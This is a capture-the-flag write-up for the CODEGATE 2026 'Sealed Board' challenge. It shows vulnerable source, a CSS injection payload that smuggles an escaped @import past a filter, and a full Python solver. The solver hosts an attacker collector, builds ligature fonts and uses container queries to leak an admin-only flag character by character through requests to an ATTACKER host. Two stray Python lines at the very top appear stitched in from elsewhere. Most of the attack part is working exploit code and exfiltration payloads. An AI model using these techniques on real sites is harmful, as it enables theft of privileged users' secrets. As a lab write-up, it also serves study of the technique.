fp.write(all_css2)
fp.write(TEMPLATE_BACKGROUND_META % (",".join(props_2)))Sequential ligature CSS leak via content-visibility bypass
| Event Name | CODEGATE Quals 2026 |
| GitHub URL | - |
| Challenge Name | Sealed Board |
Attachments
References
@import survives the remote-style filter, and the admin-only #flag can be restored by the protection loop while still influencing layout.@import -> #page hidden with content-visibility so checkVisibility() stays false -> ligature font turns known_prefix + next_char into a unique width -> fixed-width grid turns that width into a .hero-card container width -> matching container query loads /hit?...&c=<char> -> repeat against /post/<id> until }.content-visibility transition, and layout are race-sensitive, so per-phase retries are kept in the solver.KNOWN_PREFIX.why it is vulnerable
<!-- index.html: the admin secret is inserted into normal page layout -->
<main id="page" class="page">
<article class="hero-card">...</article>
<section class="feed">...</section>
{% if is_admin %}
<div id="flag" data-protected-flag="1">{{ flag }}</div>
{% endif %}
</main>// app.js: only blocks literal remote style references.
// Escaped forms like http\3a \2f \2f ... are not matched.
const hasRemoteStyleReference = (cssText) => {
const normalized = stripCssComments(cssText);
return /\b(?:https?|data)\s*:/i.test(normalized) || normalized.includes("//");
};// app.js: the protection loop clears the flag, but restores it whenever
// the node is hidden while still present instead of removing it.
const f = document.getElementById("flag");
const t = f.innerText;
f.innerText = "";
f.style.display = "none";
setInterval(() => {
if (f.style.display == "none") return; // attacker must not keep display:none
if (f.style.display == "contents") {
f.remove();
return;
}
if (f.checkVisibility()) { // visible => remove
f.remove();
return;
}
f.innerText = t; // hidden but not visible => restore text
}, 50);exploit payload
<style>@import "http\3a \2f \2f ATTACKER\3a 18820\2f style.css"</style>@keyframes cv {
0%, 65% { content-visibility: hidden; }
66%, 100% { content-visibility: visible; }
}
html, body { margin: 0 !important; padding: 0 !important; overflow: hidden !important; }
body > * { display: none !important; }
#page {
display: grid !important;
grid-template-columns: 1fr auto !important;
width: 390px !important;
height: 1px !important;
overflow: hidden !important;
animation: cv 2.5s step-end forwards !important;
}
body::after {
content: "x" !important;
display: block !important;
font-family: lig, blk !important;
font-size: 1px !important;
position: fixed !important;
left: -9999px !important;
}
#page > .hero-card {
display: block !important;
container-type: inline-size !important;
container-name: leak !important;
height: 0 !important;
overflow: hidden !important;
}
#page > #flag {
display: inline-block !important;
font-family: lig, blk !important;
font-size: 10px !important;
white-space: nowrap !important;
line-height: 1 !important;
font-feature-settings: "liga" on, "calt" on !important;
}
@font-face {
font-family: lig;
src: url("http://ATTACKER/font.ttf?phase=0") format("truetype");
font-display: swap;
}
@font-face {
font-family: blk;
src: url("http://ATTACKER/blank.ttf?phase=0") format("truetype");
font-display: swap;
}
/* Example width bucket for candidate 'f' */
@container leak (min-width: 324px) and (max-width: 332px) {
.hero-card::before {
background-image: url("http://ATTACKER/hit?phase=0&c=f") !important;
}
}solver
docker restart sealed_board-web-1 sealed_board-adminbot-1 >/dev/null
COLLECTOR_PORT=18820 \
COLLECTOR_PUBLIC_URL=http://172.0.18.1:18820/ \
COLLECTOR_BROWSER_URL=http://172.0.18.1:18820/ \
LEAK_CHARSET=0 \
FULL_CANDIDATES='abcdefghijklmnopqrstuvwxyz0123456789_}' \
python3 solver.py
# validated local output
# [FLAG] codegate2026{f
# [FLAG] codegate2026{fa
# [FLAG] codegate2026{fak
# ...
# [RESULT] codegate2026{fake_flag}#!/usr/bin/env python3
import collections
import http.cookiejar
import http.server
import io
import json
import os
import pathlib
import secrets
import string
import subprocess
import threading
import time
import urllib.parse
import urllib.request
from fontTools.feaLib.builder import addOpenTypeFeaturesFromString
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def normalize_base_url(raw_url):
return raw_url.rstrip("/") + "/"
def is_loopback_host(hostname):
return (hostname or "").strip("[]").lower() in {"127.0.0.1", "localhost", "::1"}
def replace_url_host(base_url, hostname):
parsed = urllib.parse.urlparse(base_url)
port = parsed.port
netloc = hostname if port is None else f"{hostname}:{port}"
return normalize_base_url(
urllib.parse.urlunparse(parsed._replace(netloc=netloc))
)
def detect_docker_bridge_gateway():
network_name = os.getenv(
"DOCKER_NETWORK_NAME",
f"{pathlib.Path(__file__).resolve().parent.name}_default",
)
try:
proc = subprocess.run(
[
"docker",
"network",
"inspect",
network_name,
"--format",
"{{(index .IPAM.Config 0).Gateway}}",
],
capture_output=True,
check=True,
text=True,
timeout=5,
)
except (FileNotFoundError, subprocess.SubprocessError):
return None, network_name
gateway = proc.stdout.strip()
if not gateway or gateway == "<no value>":
return None, network_name
return gateway, network_name
TARGET_URL = os.getenv("TARGET_URL", "http://127.0.0.1:5000").rstrip("/")
VISIT_URL = os.getenv("VISIT_URL", "http://127.0.0.1:5001/visit")
COLLECTOR_BIND = os.getenv("COLLECTOR_BIND", "0.0.0.0")
COLLECTOR_PORT = int(os.getenv("COLLECTOR_PORT", "18800"))
COLLECTOR_PUBLIC_URL = normalize_base_url(
os.getenv("COLLECTOR_PUBLIC_URL", f"http://127.0.0.1:{COLLECTOR_PORT}/")
)
_collector_browser_env = os.getenv("COLLECTOR_BROWSER_URL")
if _collector_browser_env:
COLLECTOR_BROWSER_URL = normalize_base_url(_collector_browser_env)
COLLECTOR_BROWSER_URL_SOURCE = "env"
DETECTED_DOCKER_GATEWAY = None
DETECTED_DOCKER_NETWORK = None
else:
parsed_public = urllib.parse.urlparse(COLLECTOR_PUBLIC_URL)
if is_loopback_host(parsed_public.hostname):
DETECTED_DOCKER_GATEWAY, DETECTED_DOCKER_NETWORK = detect_docker_bridge_gateway()
if DETECTED_DOCKER_GATEWAY:
COLLECTOR_BROWSER_URL = replace_url_host(
COLLECTOR_PUBLIC_URL, DETECTED_DOCKER_GATEWAY
)
COLLECTOR_BROWSER_URL_SOURCE = "auto-docker-gateway"
else:
COLLECTOR_BROWSER_URL = COLLECTOR_PUBLIC_URL
COLLECTOR_BROWSER_URL_SOURCE = "public"
else:
DETECTED_DOCKER_GATEWAY = None
DETECTED_DOCKER_NETWORK = None
COLLECTOR_BROWSER_URL = COLLECTOR_PUBLIC_URL
COLLECTOR_BROWSER_URL_SOURCE = "public"
CHARSET_CANDIDATES = os.getenv(
"CHARSET_CANDIDATES",
string.ascii_lowercase + string.ascii_uppercase + string.digits + "_}",
)
FULL_CANDIDATES = os.getenv(
"FULL_CANDIDATES",
string.ascii_lowercase + string.ascii_uppercase + string.digits + "_}",
)
KNOWN_PREFIX = os.getenv("KNOWN_PREFIX", "codegate2026{")
LEAK_CHARSET = os.getenv("LEAK_CHARSET", "1").lower() not in {
"0",
"false",
"no",
"off",
}
MAX_STEPS = int(os.getenv("MAX_STEPS", "64"))
POST_VISIT_WAIT_SEC = float(os.getenv("POST_VISIT_WAIT_SEC", "1.0"))
PHASE_RETRIES = int(os.getenv("PHASE_RETRIES", "5"))
RETRY_SLEEP_SEC = float(os.getenv("RETRY_SLEEP_SEC", "0.5"))
FONT_SIZE_PX = int(os.getenv("FONT_SIZE_PX", "10"))
WIDTH_MARGIN_PX = int(os.getenv("WIDTH_MARGIN_PX", "4"))
UPM = 1000
def log(msg):
print(msg, flush=True)
def validate_runtime_config():
public_host = urllib.parse.urlparse(COLLECTOR_PUBLIC_URL).hostname
browser_host = urllib.parse.urlparse(COLLECTOR_BROWSER_URL).hostname
log(f"[*] Collector public URL: {COLLECTOR_PUBLIC_URL}")
log(
f"[*] Collector browser URL: {COLLECTOR_BROWSER_URL}"
f" [{COLLECTOR_BROWSER_URL_SOURCE}]"
)
if DETECTED_DOCKER_GATEWAY:
log(
f"[*] Auto-detected Docker gateway {DETECTED_DOCKER_GATEWAY}"
f" on network {DETECTED_DOCKER_NETWORK}"
)
if is_loopback_host(browser_host):
raise SystemExit(
"COLLECTOR_BROWSER_URL resolves to loopback. "
"The adminbot runs in Docker and cannot fetch callbacks from "
f"{COLLECTOR_BROWSER_URL}. Set COLLECTOR_BROWSER_URL or "
f"COLLECTOR_PUBLIC_URL to the Docker bridge gateway "
f"(for this stack usually http://172.0.18.1:{COLLECTOR_PORT}/)."
)
if is_loopback_host(public_host) and not is_loopback_host(browser_host):
log(
"[*] Local operator URL stays on loopback, but bot callbacks will use "
f"{browser_host}."
)
def css_escape_url(url):
return (
url.replace(":", "\\3a ")
.replace("/", "\\2f ")
.replace("?", "\\3f ")
.replace("=", "\\3d ")
.replace("&", "\\26 ")
)
def ordered_unique(text):
seen = set()
out = []
for ch in text:
if ch in seen:
continue
seen.add(ch)
out.append(ch)
return out
def build_minimal_font():
fb = FontBuilder(UPM, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
fb.setupGlyf({".notdef": TTGlyphPen(None).glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(
sTypoAscender=800,
sTypoDescender=-200,
usWinAscent=800,
usWinDescent=200,
)
fb.setupNameTable({"familyName": "Probe", "styleName": "Regular"})
fb.setupPost()
fb.setupMaxp()
buf = io.BytesIO()
fb.save(buf)
return buf.getvalue()
def build_blank_font():
glyph_order = [".notdef"] + [f"b_{cp:02x}" for cp in range(32, 127)]
fb = FontBuilder(UPM, isTTF=True)
fb.setupGlyphOrder(glyph_order)
fb.setupCharacterMap({cp: f"b_{cp:02x}" for cp in range(32, 127)})
fb.setupGlyf({name: TTGlyphPen(None).glyph() for name in glyph_order})
fb.setupHorizontalMetrics({name: (0, 0) for name in glyph_order})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(
sTypoAscender=800,
sTypoDescender=-200,
usWinAscent=800,
usWinDescent=200,
)
fb.setupNameTable({"familyName": "Blank", "styleName": "Regular"})
fb.setupPost()
fb.setupMaxp()
buf = io.BytesIO()
fb.font.save(buf)
return buf.getvalue()
def build_charset_css(token, candidates):
family = f"C{token[:8]}"
lines = []
for ch in candidates:
cp = ord(ch)
src_url = (
f"{COLLECTOR_BROWSER_URL}probe?"
f"token={urllib.parse.quote(token)}&"
f"c={urllib.parse.quote(ch, safe='')}"
)
lines.extend(
[
"@font-face {",
f' font-family: "{family}";',
f' src: url("{src_url}") format("truetype");',
f" unicode-range: U+{cp:04X};",
"}",
]
)
lines.extend(
[
"#page {",
" content-visibility: hidden !important;",
"}",
"#flag {",
" display: block !important;",
" visibility: hidden !important;",
" position: fixed !important;",
" top: -9999px !important;",
" white-space: nowrap !important;",
" font-size: 100px !important;",
f' font-family: "{family}" !important;',
"}",
]
)
return "\n".join(lines)
def build_ligature_font(prefix, candidates):
if not candidates:
raise ValueError("empty candidate set")
glyph_order = [".notdef"]
glyph_order.extend(f"g_{cp:02x}" for cp in range(32, 127))
glyph_order.append("mk")
glyph_order.extend(f"w{i}" for i in range(len(candidates)))
fb = FontBuilder(UPM, isTTF=True)
fb.setupGlyphOrder(glyph_order)
fb.setupGlyf({name: TTGlyphPen(None).glyph() for name in glyph_order})
metrics = {name: (0, 0) for name in glyph_order}
metrics[".notdef"] = (500, 0)
prefix_glyphs = " ".join(f"g_{ord(ch):02x}" for ch in prefix)
feature_rules = [f"lookup pfx {{ sub {prefix_glyphs} by mk; }} pfx;"]
det_rules = []
for idx, ch in enumerate(candidates):
metrics[f"w{idx}"] = ((idx + 1) * UPM, 0)
det_rules.append(f" sub mk g_{ord(ch):02x} by w{idx};")
fb.setupHorizontalMetrics(metrics)
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupCharacterMap({cp: f"g_{cp:02x}" for cp in range(32, 127)})
fb.setupOS2(
sTypoAscender=800,
sTypoDescender=-200,
usWinAscent=800,
usWinDescent=200,
)
fb.setupNameTable({"familyName": "Probe", "styleName": "Regular"})
fb.setupPost()
fb.setupMaxp()
font = fb.font
feature_text = (
"feature liga {\n"
+ "\n".join(feature_rules)
+ "\n"
+ " lookup det {\n"
+ "\n".join(det_rules)
+ "\n } det;\n"
+ "} liga;\n"
)
addOpenTypeFeaturesFromString(font, feature_text)
buf = io.BytesIO()
font.save(buf)
return buf.getvalue()
def build_recovery_css(token, phase, candidates):
total_width = (len(candidates) + 1) * FONT_SIZE_PX
lines = [
"html, body {",
" margin: 0 !important;",
" padding: 0 !important;",
" overflow: hidden !important;",
"}",
"body > * {",
" display: none !important;",
"}",
"@keyframes cv {",
" 0%, 65% { content-visibility: hidden; }",
" 66%, 100% { content-visibility: visible; }",
"}",
"#page {",
" display: grid !important;",
" grid-template-columns: 1fr auto !important;",
f" width: {total_width}px !important;",
" overflow: hidden !important;",
" height: 1px !important;",
" padding: 0 !important;",
" margin: 0 !important;",
" animation: cv 2.5s step-end forwards !important;",
"}",
"body::after {",
' content: "x" !important;',
" display: block !important;",
" font-family: lig, blk !important;",
" font-size: 1px !important;",
" position: fixed !important;",
" left: -9999px !important;",
"}",
"#page > * {",
" display: none !important;",
"}",
"#page > .hero-card {",
" display: block !important;",
" container-type: inline-size !important;",
" container-name: leak !important;",
" overflow: hidden !important;",
" height: 0 !important;",
" padding: 0 !important;",
" margin: 0 !important;",
"}",
".hero-card > * {",
" display: none !important;",
"}",
".hero-card::before {",
' content: "" !important;',
" display: block !important;",
"}",
"#page > #flag {",
" display: inline-block !important;",
" font-family: lig, blk !important;",
f" font-size: {FONT_SIZE_PX}px !important;",
" white-space: nowrap !important;",
" padding: 0 !important;",
" margin: 0 !important;",
" border: 0 !important;",
" line-height: 1 !important;",
" letter-spacing: 0 !important;",
" word-spacing: 0 !important;",
' font-feature-settings: "liga" on, "calt" on !important;',
" text-rendering: optimizeLegibility !important;",
"}",
"@font-face {",
" font-family: lig;",
f' src: url("{COLLECTOR_BROWSER_URL}font.ttf?token={urllib.parse.quote(token)}&phase={urllib.parse.quote(phase)}") format("truetype");',
" font-display: swap;",
"}",
"@font-face {",
" font-family: blk;",
f' src: url("{COLLECTOR_BROWSER_URL}blank.ttf?token={urllib.parse.quote(token)}&phase={urllib.parse.quote(phase)}") format("truetype");',
" font-display: swap;",
"}",
]
for idx, ch in enumerate(candidates):
char_width = (idx + 1) * FONT_SIZE_PX
hero_width = total_width - char_width
lower = hero_width - WIDTH_MARGIN_PX
upper = hero_width + WIDTH_MARGIN_PX
hit_url = (
f"{COLLECTOR_BROWSER_URL}hit?"
f"token={urllib.parse.quote(token)}&"
f"phase={urllib.parse.quote(phase)}&"
f"c={urllib.parse.quote(ch, safe='')}"
)
lines.extend(
[
f"@container leak (min-width: {lower}px) and (max-width: {upper}px) {{",
" .hero-card::before {",
f' background-image: url("{hit_url}") !important;',
" }",
"}",
]
)
return "\n".join(lines)
class State:
def __init__(self):
self.lock = threading.Lock()
self.css_data = b""
self.minimal_font = build_minimal_font()
self.blank_font = build_blank_font()
self.inline_font_data = self.minimal_font
self.charset_hits = set()
self.phase_hits = collections.defaultdict(set)
STATE = State()
class Handler(http.server.BaseHTTPRequestHandler):
def _send(self, body, ct, code=200):
self.send_response(code)
self.send_header("Content-Type", ct)
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control", "no-store")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(body)
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
qs = urllib.parse.parse_qs(parsed.query)
log(f"[HTTP] {self.command} {self.path}")
if parsed.path == "/style.css":
with STATE.lock:
body = STATE.css_data
log(f" -> serving CSS ({len(body)} bytes)")
self._send(body, "text/css; charset=utf-8")
return
if parsed.path == "/probe":
ch = qs.get("c", [""])[0]
with STATE.lock:
STATE.charset_hits.add(ch)
log(f" >>> CHARSET HIT: {ch!r}")
self._send(STATE.minimal_font, "font/ttf")
return
if parsed.path == "/font.ttf":
with STATE.lock:
body = STATE.inline_font_data
log(f" -> serving inline font ({len(body)} bytes)")
self._send(body, "font/ttf")
return
if parsed.path == "/blank.ttf":
log(f" -> serving blank font ({len(STATE.blank_font)} bytes)")
self._send(STATE.blank_font, "font/ttf")
return
if parsed.path == "/hit":
phase = qs.get("phase", [""])[0]
ch = qs.get("c", [""])[0]
with STATE.lock:
STATE.phase_hits[phase].add(ch)
log(f" >>> PHASE {phase} HIT: {ch!r}")
self._send(b"ok", "text/plain")
return
self._send(b"alive", "text/plain")
def log_message(self, *_):
pass
class Client:
def __init__(self):
self.jar = http.cookiejar.CookieJar()
self.opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(self.jar)
)
def _json(self, url, method="GET", payload=None):
body = None
headers = {}
if payload is not None:
body = json.dumps(payload).encode()
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=body, method=method, headers=headers)
with self.opener.open(req, timeout=30) as resp:
return json.loads(resp.read().decode())
def register(self, username, password):
return self._json(
f"{TARGET_URL}/register",
"POST",
{"username": username, "password": password},
)
def add_post(self, text):
return self._json(f"{TARGET_URL}/post", "POST", {"post": text})
def trigger_visit(path):
body = json.dumps({"url": path}).encode()
req = urllib.request.Request(
VISIT_URL,
data=body,
headers={"Content-Type": "application/json"},
method="POST",
)
while True:
try:
with urllib.request.urlopen(req, timeout=30) as resp:
return json.loads(resp.read().decode())["job_id"]
except urllib.error.HTTPError as exc:
if exc.code == 429:
time.sleep(5)
continue
raise
def wait_visit(job_id):
url = f"{VISIT_URL.rstrip('/')}/{job_id}"
deadline = time.time() + 40
while time.time() < deadline:
with urllib.request.urlopen(url, timeout=20) as resp:
payload = json.loads(resp.read().decode())
if payload.get("status") in {"ok", "error"}:
log(f"[visit] done: {payload}")
return payload
time.sleep(0.5)
raise TimeoutError(f"visit {job_id} did not finish in time")
def set_css(css_text):
with STATE.lock:
STATE.css_data = css_text.encode()
def run_charset_probe(visit_path, token):
log("[*] Running one-visit charset probe")
with STATE.lock:
STATE.charset_hits.clear()
with STATE.lock:
STATE.inline_font_data = STATE.minimal_font
set_css(build_charset_css(token, CHARSET_CANDIDATES))
job_id = trigger_visit(visit_path)
log(f"[*] charset visit triggered: {job_id}")
wait_visit(job_id)
time.sleep(POST_VISIT_WAIT_SEC)
with STATE.lock:
hits = set(STATE.charset_hits)
ordered_hits = [ch for ch in CHARSET_CANDIDATES if ch in hits]
lc = "".join(ch for ch in ordered_hits if ch.islower())
uc = "".join(ch for ch in ordered_hits if ch.isupper())
dg = "".join(ch for ch in ordered_hits if ch.isdigit())
sp = "".join(ch for ch in ordered_hits if not ch.isalnum())
log(f"[CHARSET] {len(hits)} chars detected")
log(f" lowercase: {lc}")
log(f" UPPERCASE: {uc}")
log(f" digits: {dg}")
log(f" special: {sp}")
return hits
def recover_next_char(visit_path, token, phase, prefix, candidates):
phase_key = str(phase)
log(f"[*] Phase {phase}: probing next char after {prefix!r}")
font_data = build_ligature_font(prefix, candidates)
css_text = build_recovery_css(token, phase_key, candidates)
last_hits = set()
for attempt in range(1, PHASE_RETRIES + 1):
with STATE.lock:
STATE.inline_font_data = font_data
STATE.phase_hits[phase_key].clear()
set_css(css_text)
job_id = trigger_visit(visit_path)
log(f"[*] recovery visit triggered: {job_id} (attempt {attempt}/{PHASE_RETRIES})")
wait_visit(job_id)
time.sleep(POST_VISIT_WAIT_SEC)
with STATE.lock:
hits = set(STATE.phase_hits[phase_key])
last_hits = hits
if len(hits) == 1:
for ch in candidates:
if ch in hits:
return ch
raise RuntimeError(f"phase {phase} hit set became inconsistent: {hits}")
ordered_hits = [ch for ch in candidates if ch in hits]
log(
f"[!] Phase {phase} attempt {attempt} got "
f"{ordered_hits or sorted(hits) or 'no hits'}"
)
if attempt < PHASE_RETRIES and RETRY_SLEEP_SEC > 0:
time.sleep(RETRY_SLEEP_SEC)
ordered_hits = [ch for ch in candidates if ch in last_hits]
raise RuntimeError(
f"phase {phase} expected exactly one hit after {PHASE_RETRIES} attempts, "
f"got {ordered_hits or sorted(last_hits)}"
)
def recover_flag(visit_path, token, candidates):
prefix = KNOWN_PREFIX
if prefix.endswith("}"):
return prefix
for phase in range(MAX_STEPS):
ch = recover_next_char(visit_path, token, phase, prefix, candidates)
prefix += ch
log(f"[FLAG] {prefix}")
if ch == "}":
return prefix
raise RuntimeError(f"flag recovery exceeded MAX_STEPS={MAX_STEPS}")
if __name__ == "__main__":
if FONT_SIZE_PX <= 0 or WIDTH_MARGIN_PX <= 0:
raise SystemExit("FONT_SIZE_PX and WIDTH_MARGIN_PX must be > 0")
validate_runtime_config()
token = secrets.token_hex(8)
server = http.server.ThreadingHTTPServer((COLLECTOR_BIND, COLLECTOR_PORT), Handler)
server_thread = threading.Thread(target=server.serve_forever, daemon=True)
server_thread.start()
log(f"[*] Listening on :{COLLECTOR_PORT}")
client = Client()
user = f"probe_{secrets.token_hex(4)}"
password = f"pw_{secrets.token_hex(8)}"
log(f"[*] register: {client.register(user, password)}")
import_url = css_escape_url(f"{COLLECTOR_BROWSER_URL}style.css")
post_html = f'<style>@import "{import_url}"</style>'
log(f"[*] Post payload ({len(post_html)} chars): {post_html}")
post_resp = client.add_post(post_html)
log(f"[*] post: {post_resp}")
post_id = post_resp["post"]["id"]
visit_path = f"/post/{post_id}"
try:
if LEAK_CHARSET:
charset_hits = run_charset_probe(visit_path, token)
ordered_candidates = [
ch for ch in FULL_CANDIDATES if ch in charset_hits or ch == "}"
]
if not ordered_candidates:
ordered_candidates = ordered_unique(FULL_CANDIDATES)
else:
ordered_candidates = ordered_unique(FULL_CANDIDATES)
if "}" not in ordered_candidates:
ordered_candidates.append("}")
log(f"[*] Recovery candidates ({len(ordered_candidates)}): {''.join(ordered_candidates)}")
flag = recover_flag(visit_path, token, ordered_candidates)
log(f"[RESULT] {flag}")
finally:
server.shutdown()
server.server_close()
server_thread.join(timeout=1)